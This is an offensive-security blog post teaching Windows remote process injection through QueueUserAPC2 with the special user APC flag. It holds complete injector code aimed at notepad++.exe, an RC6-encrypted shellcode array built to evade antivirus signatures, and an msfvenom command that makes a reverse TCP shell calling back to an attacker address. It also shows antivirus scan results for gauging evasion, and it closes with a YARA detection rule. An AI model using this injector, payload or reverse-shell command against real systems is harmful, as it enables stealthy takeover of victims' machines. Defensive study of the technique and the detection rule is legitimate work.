QueueUserAPC2 Process Injection

Mastering APC Injection with QueueUserAPC2

Original post by S12 – 0x12Dark Development

In this article, I will demonstrate one of the classic, fundamental techniques for injecting shellcode into a remote process using APCs. I realized I hadn’t documented this method yet, so that is exactly what we will cover today. specifically, we will be combining QueueUserAPC2 with NtTestAlert

Introduction

APC’s

To understand this injection technique, we first need to understand the mechanism it exploits: Asynchronous Procedure Calls (APCs)

In the Windows operating system, every thread has its own unique APC queue. You can think of this as a To-Do list maintained by the kernel for that specific thread. When the system (or a user) wants a thread to perform a task asynchronously (without creating a whole new thread) it can queue an APC to that thread

For malware authors and red teamers, this is a golden opportunity. If we can get a handle to a target thread in a remote process, we can use the QueueUserAPC (or QueueUserAPC2) API to add our own malicious task to that thread’s queue. Instead of a benign system task, we point the APC to our shellcode. Once the thread decides to process its To-Do list, our code executes in the context of that legitimate process

The “Alertable State” Problem & Special User APCslike Kaspersky and Bitdefender

This brings us to the critical limitation of the classic QueueUserAPC technique: The Alertable State.

Historically, just adding an APC to a queue wasn’t enough. The target thread would only look at its APC queue when it entered an Alertable State. This happens when a thread calls specific synchronization functions (like SleepExWaitForSingleObjectEx, or MsgWaitForMultipleObjectsEx) with the bAlertable flag set to TRUE.

If the target thread is busy doing heavy calculation or never enters an alertable state, your shellcode sits in the queue forever, never executing.

Enter QueueUserAPC2 and NtTestAlert.

This is where the newer API QueueUserAPC2 shines. It allows us to pass the QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC flag.

Unlike a standard APC, a Special User APC does not wait for the thread to voluntarily enter an alertable state. Instead, the kernel forces the thread to jump to the user-mode APC dispatcher (often effectively triggering NtTestAlert logic) the next time it transitions from kernel mode to user mode. Since threads make syscalls and context switches constantly, this essentially guarantees execution almost immediately, bypassing the biggest hurdle of classic APC injection.

#include <Windows.h>
#include <iostream>
#include <stdio.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <string.h>
#include <string>
#include "Scrc6.h"

using namespace std;

int getPIDbyProcName(const string& procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) {
        return 0;
    }
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        wstring wideProcName(procName.begin(), procName.end());
        do {
            if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
                pid = pe32.th32ProcessID;
                break;
            }
        } while (Process32NextW(hSnap, &pe32) != FALSE);
    }

    CloseHandle(hSnap);
    return pid;
}

HANDLE findThread(int pid) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnap == INVALID_HANDLE_VALUE) {
        return NULL;
    }
    THREADENTRY32 te32;
    te32.dwSize = sizeof(THREADENTRY32);
    if (Thread32First(hSnap, &te32) != FALSE) {
        do {
            if (te32.th32OwnerProcessID == pid) {
                CloseHandle(hSnap);
                return OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
            }
        } while (Thread32Next(hSnap, &te32) != FALSE);
    }
    CloseHandle(hSnap);
    return NULL;
}

unsigned char payload[] = "\xbb\xe6\x5d\xf9\x10\x50\x5d\xd5\xee\x9f\x3d\xea\x00\x43\x24\xac\x83\x2c\x15\x76\x51\xef\x17\x0f\x95\xe3\x5b\x5d\x5b\xad\xdb\xd1\x4c\x78\x01\x0f\xbc\xb4\x74\x67\xbb\x0a\xce\xa2\x78\xba\x9e\x15\x93\x16\x39\x2e\x37\x7a\x92\xda\x77\x6a\x37\x69\x01\x4b\x0b\x0e\x9f\x3b\x64\x37\x75\x9e\x2b\x61\x08\xae\xd1\x55\x6f\x17\x5f\xc1\x73\x10\xc1\x12\x28\x40\xee\xe3\xee\x85\xf9\x6a\x68\x2d\xd0\x05\x75\x63\xa6\x16\xce\x37\xdb\x51\x3b\x02\xc6\x3d\xdc\xb2\x06\x02\x81\xdd\xe9\xc6\x7a\xbd\xa8\x8d\x75\xf9\x75\xbf\xf9\x88\x6a\x04\xbf\xeb\xef\x89\xe0\x0e\xee\x19\x81\x48\xa8\x4a\xac\xba\x6c\xee\x3a\xb9\x51\x24\xec\xb5\x1f\x10\xf8\x73\x95\x75\xac\x49\x83\x2f\x62\xab\x68\xb7\x96\x0c\x82\x53\xfd\xc7\xe4\x7c\xf9\x8c\x9c\x04\x1d\xa2\xb9\x2c\xe2\x8a\xb9\xf3\x9c\x8c\x4f\x41\x8e\x93\xb3\x13\x8c\xad\x11\xc4\x23\x43\x39\x82\x75\x1f\x5c\xff\x78\xc9\x21\xe6\x32\x1f\x2b\x42\x4f\xb5\x98\x25\x41\x4e\xaa\x5e\x53\x73\x94\x5c\xbd\x2e\x11\xd4\xf0\x5e\xb5\x52\xb8\x03\x8e\xe4\xa7\x4e\x4d\xd5\x6b\x54\x65\xba\xc4\xdd\xa6\x53\x4d\x87\x57\x93\x37\x73\x0f\x67\xbf\x30\xff\xd2\x57\xd4\x0b\xd0\xa9\x29\x33\xdb\x0c\x88\xff\x72\x50\xd7\x64\xb4\xa5\x85\x39\x3e\xf7\x69\xd8\xaf\x2f\x11\xb7\xae\x7a\x58\xb9\x4b\xf7\x62\x2b\x35\x81\x88\xbe\x8e\xda\x2d\xf0\x72\x16\xc4\x6d\x07\x4f\x12\xca\x09\xdc\x7f\x2a\x8c\x98\x54\xa1\xab\x6a\xda\x53\x7c\x11\xed\xe3\x71\xc9\x97\x35\x32\x2b\x45\x12\x7a\xb6\xe5\xc8\x63\x1c\x62\x25\xd9\xef\x12\x61\xa9\x99\x93\xd2\xb5\x15\x19\x62\x36\x95\x1a\x7f\x9a\xd4\x3a\xae\x43\x1a\xfe\xc8\x5b\x42\xf6\x9b\xad\x5f\x22\xc1\xc8\x77\x86\x6d\x1a\x97\xa4\x9a\xbb\x4c\xb9\xfc\x83\xd1\x31\x6a\x2c\x0e\x0b\x4e\xe2\x0a\x7d\x4b\x0d\xaf\xcf\x37\xc1\x13\xd6\xd0\x51\x49\x5e\xa1\xf2\x7f\xd5\xf8\x4b\xe1\x4a\x6e\x15\xbc\xa3\x9b\xa7\xac\x01\x1c\xca\xe1\xad\x5c\xb0\xa2\x88\x7c\xad\x23\xe9\xaa\x70\x01\xbb\x6a\xfc\x7a\xfc\x7c\xad\xe5\x06\xe9\xc8\xa4\xe2\x2c\x3d\xa8\x78\xc0\xd2\x3b\xf5\x57\xa6\x3c\xae\x1a\x8c\x80\x5a\xa8\x06\x3f\xe2\x31\x17\x72\x8d\xc8\x08\x15\xda\x76\x0f\xbd\x61\x84\xb7\xdf\xb6\xf2\x49\xa0\x55\xa7\xb3\xa0\x85\x3b\x9a\x6c\x81\x9d\xc3\x8a\xc2\x95\x98\x76\xfb\xe6\x01";

int main(int argc, char* argv[]) {
    const uint8_t key[KEYLEN] = { 0x24, 0x3F, 0x6A, 0x88, 0x85, 0xA3, 0x08, 0xD3, 0x45, 0x28, 0x21, 0xE6, 0x38, 0xD0, 0x13, 0x77 };
    WORD S[2 * ROUNDS + 4];
    rc6_setup(key, S);

    SIZE_T payloadLen = sizeof(payload);

    // Decrypt the payload in place (safe since block reads are copied to locals first)
    for (size_t i = 0; i < payloadLen; i += 16) {
        rc6_decrypt(payload + i, S, payload + i);
    }

 int pid = getPIDbyProcName("notepad++.exe");

 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProcess == NULL) {
        printf("OpenProcess failed: %lu\n", GetLastError());
        return 1;
 }
    LPVOID newMemorySpace = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (newMemorySpace == NULL) {
        printf("VirtualAllocEx failed: %lu\n", GetLastError());
        return 1;
    }

    if (!WriteProcessMemory(hProcess, newMemorySpace, payload, payloadLen, NULL)) {
        printf("WriteProcessMemory failed: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, newMemorySpace, 0, MEM_RELEASE);
        return 1;
    }

 HANDLE hThread = findThread(pid);
    if (hThread == NULL) {
        printf("findThread failed: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, newMemorySpace, 0, MEM_RELEASE);
        return 1;
 }

    typedef NTSTATUS(NTAPI* resolvedNtTestAlert)();
    resolvedNtTestAlert executor = (resolvedNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert"));

    typedef VOID(NTAPI* PAPCFUNC)(ULONG_PTR Parameter);
    PAPCFUNC apcRoutine = (PAPCFUNC)newMemorySpace;
    QueueUserAPC2((PAPCFUNC)apcRoutine, hThread, NULL, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC); // If using QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC the APC will be triggered automatically
    //QueueUserAPC2((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL, QUEUE_USER_APC_FLAGS_NONE); // If using QUEUE_USER_APC_FLAGS_NONE we need NtTestAlert to trigger the APC
    
    // Trigger APC execution (required for QUEUE_USER_APC_FLAGS_NONE)
    //executor();

    //VirtualFreeEx(hProcess, newMemorySpace, 0, MEM_RELEASE);
    return 0;
}

The code can be divided into three main stages: Target AcquisitionPayload Preparation, and Injection via Special User APC:

  1. Target Acquisition

Before we can inject anything, we need a target. The code uses the ToolHelp32 API (standard for process enumeration) to locate our victim

  • getPIDbyProcName: This function takes a process name (e.g., "notepad++.exe"), takes a snapshot of all running processes using CreateToolhelp32Snapshot, and iterates through them to find the matching Process ID (PID)
  • findThread: Once we have the PID, we need a specific thread to hijackThis function takes another snapshot (this time for threads) and returns a handle to the first thread it finds that belongs to our target PID

2. Payload Preparation (RC6 Decryption)

To avoid static signature detection by AV/EDR, the shellcode is not stored in plain text

// Decrypt the payload in place 
for (size_t i = 0; i < payloadLen; i += 16) {
    rc6_decrypt(payload + i, S, payload + i);
}

The code includes a custom Scrc6.h header. Before any Windows API interaction occurs, the payload array is decrypted in memory using the RC6 algorithm. This ensures the malicious byte-code is only visible in memory just moments before injection

3. The Injection Logic

This is the core of the technique

  • OpenProcess: We get a handle to the target process with PROCESS_ALL_ACCESS rights
  • VirtualAllocEx: We allocate memory inside that remote process. Note the protection is set to PAGE_EXECUTE_READWRITE (RWX), which is often flagged by EDRs, but necessary for this basic example to run the shellcode
  • WriteProcessMemory: We copy our decrypted shellcode into the newly allocated memory space of the target process

4. Execution: QueueUserAPC2 & The “Special” Flag

This is where the magic happens and where this technique differs from the classic approach

QueueUserAPC2(
    (PAPCFUNC)apcRoutine, 
    hThread, 
    NULL, 
    QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
);
  • apcRoutine: This points to the address where we wrote our shellcode in the remote process
  • hThread: The handle to the remote thread we found earlier
  • QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC: This is the critical flag

Why this flag matters: If we used the standard QueueUserAPC (or the FLAGS_NONE option in v2), the kernel would simply add our job to the thread’s queue and wait. The shellcode would only execute if the victim thread voluntarily entered an Alertable State.

By using QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, we tell the kernel to force an interruption. The next time the target thread is scheduled to run (which happens constantly as threads switch contexts), the kernel forces it to jump to the APC dispatcher, executing our shellcode immediately

ou will notice NtTestAlert and executor() are commented out. This is because NtTestAlert is used to force the current local thread to check its APC queue. Since we are injecting into a remote process and using the “Special” flag, the remote thread handles the execution automatically, making NtTestAlertunnecessary in this specific remote scenario

Proof of Concept

Windows 11:

So let’s create the shellcode for example with this msfvenom command:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.144 LPORT=1212 -f c -b '\x00' EXITFUNC=thread

And then just start a listener and execute the code:

Great 😉

Detection

Now it’s time to see if the defenses are detecting this as a malicious threat

Kleenscan API

[*] Antivirus Scan Results:

  - alyac                | Status: ok         | Flag: Dump:Generic.Shellcode.Ode.Marte.A.91A061FB | Updated: 2026-01-28
  - amiti                | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - arcabit              | Status: ok         | Flag: Dump:Generic.Shellcode.Ode.Marte.A.91A061FB | Updated: 2026-01-28
  - avast                | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - avg                  | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - avira                | Status: scanning   | Flag: Scanning results incomplete    | Updated: 2026-01-28
  - bullguard            | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - clamav               | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - comodolinux          | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - crowdstrike          | Status: ok         | Flag: Threat Detected                | Updated: 2026-01-28
  - drweb                | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - emsisoft             | Status: ok         | Flag: Dump:Generic.Shellcode.Ode.Marte.A.91A061FB | Updated: 2026-01-28
  - escan                | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - fprot                | Status: ok         | Flag: Scanning results incomplete    | Updated: 2026-01-28
  - fsecure              | Status: scanning   | Flag: Scanning results incomplete    | Updated: 2026-01-28
  - gdata                | Status: ok         | Flag: Dump:Generic.Shellcode.Ode.Marte.A.91A061FB | Updated: 2026-01-28
  - ikarus               | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - immunet              | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - kaspersky            | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - maxsecure            | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - mcafee               | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - microsoftdefender    | Status: ok         | Flag: Trojan:Win64/Meterpreter.F     | Updated: 2026-01-28
  - nano                 | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - nod32                | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - norman               | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - secureageapex        | Status: ok         | Flag: Malicious                      | Updated: 2026-01-28
  - seqrite              | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - sophos               | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - threatdown           | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - trendmicro           | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - vba32                | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - virusfighter         | Status: scanning   | Flag: Scanning results incomplete    | Updated: 2026-01-28
  - xvirus               | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - zillya               | Status: ok         | Flag: Undetected                     | Updated: 2026-01-28
  - zonealarm            | Status: pending    | Flag: N/A                            | Updated: 2026-01-28
  - zoner                | Status: ok         | Flag: Undetected     

Litterbox

Static Analysis:

Threat Detection Details
Detection Offset
0x38B8
Relative Location
14520 / 16896 bytes
Final Threat Detection
Trojan:Win64/Meterpreter.F

Dynamic Analysis:

ThreatCheck

Press enter or click to view image in full size

Elastic EDR

malware, intrusion_detection, process event with process QueueUserAPC2ProcInj.exe,
parent process explorer.exe, file QueueUserAPC2ProcInj.exe, by s12de on s12
created high alert Malware Prevention Alert.

Kaspersky Free AV

Detected!

Bitdefender Free AV

Detected!

YARA

Here a YARA rule to detect this technique:

rule Win_ProcessInjection_QueueUserAPC2_Special {
    meta:
        description = "Detects potential remote process injection using QueueUserAPC2 with Special User APC flags"
        author = "0x12 Dark Development"
        technique = "APC Injection"
        threat_level = "High"

    strings:
        // Core APIs for thread/process enumeration
        $api1 = "CreateToolhelp32Snapshot" ascii wide
        $api2 = "Thread32First" ascii wide
        $api3 = "Thread32Next" ascii wide
        
        // The injection/execution functions
        $apc1 = "QueueUserAPC2" ascii wide
        $apc2 = "NtTestAlert" ascii wide
        $apc3 = "QueueUserAPC" ascii wide

        // The specific flag for Special User APCs (QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC = 0x00000001)
        // We look for the hex representation or common surrounding code patterns
        $flag_hex = { 01 00 00 00 } 

    condition:
        uint16(0) == 0x5A4D and // Check for PE header
        (
            // Logic: Must have enumeration capability + the specific APC call
            (2 of ($api*)) and 
            ($apc1 or ($apc2 and $apc3)) and
            $flag_hex
        )

Conclusions

By leveraging QueueUserAPC2 with the SPECIAL_USER_APC flag, we can effectively bypass the traditional “alertable state” requirement that often stalls standard APC injection. This technique turns a passive queueing system into a proactive execution engine, ensuring that our shellcode runs as soon as the target thread transitions through the kernel. While the scan results show that modern EDRs and AVs (like Kaspersky and Bitdefender) are increasingly sensitive to these memory patterns and API calls, understanding these fundamental Windows internals remains essential for any offensive developer.

📌 Follow me: YouTube | 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter

We help security teams enhance offensive capabilities with precision-built tooling and expert guidance, from custom malware to advanced evasion strategies

Comments are closed.